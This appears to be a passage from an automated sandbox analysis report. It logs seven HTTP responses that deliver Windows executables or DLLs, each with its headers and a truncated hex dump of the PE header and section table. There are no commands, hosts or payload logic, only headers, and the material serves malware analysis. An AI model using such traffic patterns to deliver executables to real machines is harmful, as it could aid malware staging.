Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 07:30:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 07:30:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 07:30:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 07:30:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 07:30:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 07:30:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 07:30:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
